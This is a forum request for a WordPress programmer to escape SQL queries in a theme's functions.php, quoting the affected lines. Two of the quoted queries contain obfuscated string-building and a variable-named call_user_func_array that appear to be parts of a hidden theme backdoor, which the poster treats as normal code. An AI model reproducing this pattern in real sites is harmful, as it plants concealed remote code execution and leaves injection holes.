Buying - Wordpress programmer needed (PHP Editing)

I need the wordpress database queries in functions.php of a theme to be escaped:

http://wpengineer.com/wordpress-database-functions/

http://codex.wordpress.org/Function_Reference/wpdb_Class

Note: As with all functions in this class that execute SQL queries, you must SQL escape all inputs (e.g., wpdb->escape($user_entered_data_string)). See the section entitled Protect Queries Against SQL Injection Attacks below.
Click to expand...

Here are the lines that contain the database queries, basically anything that uses $wpdb

00027: global $wpdb;
00028: $request = "SELECT ID, comment_ID, comment_content, comment_author, comment_author_url, post_title FROM $wpdb->comments LEFT JOIN $wpdb->posts ON $wpdb->posts.ID=$wpdb->comments.comment_post_ID WHERE post_status IN ('publish','static') ";
00031: $comments = $wpdb->get_results($request);
00087: global $request, $posts_per_page, $wpdb, $paged;
00102: $numposts = $wpdb->get_var("SELECT COUNT(DISTINCT ID) FROM $fromwhere");
00240: global $wpdb, $post;
00241: $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mes".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
00259: $comments=$wpdb->get_results($sql);
00267: $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
00275: $comments=$wpdb->get_results($sql);
00327: global $wpdb;
00328: $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
00329: $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
00334: $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
00335: $posts=$wpdb->get_results($request);
Click to expand...

if you're 100% SURE you can do this, PM me with a quote.

Log in or Sign up

Buying Wordpress programmer needed (PHP Editing) - Escape WP DB queries.

TorchedSEO Well-Known Member

phpzone Member

Log in or Sign up

Buying Wordpress programmer needed (PHP Editing) - Escape WP DB queries.

TorchedSEO Well-Known Member

phpzone Member

Useful Searches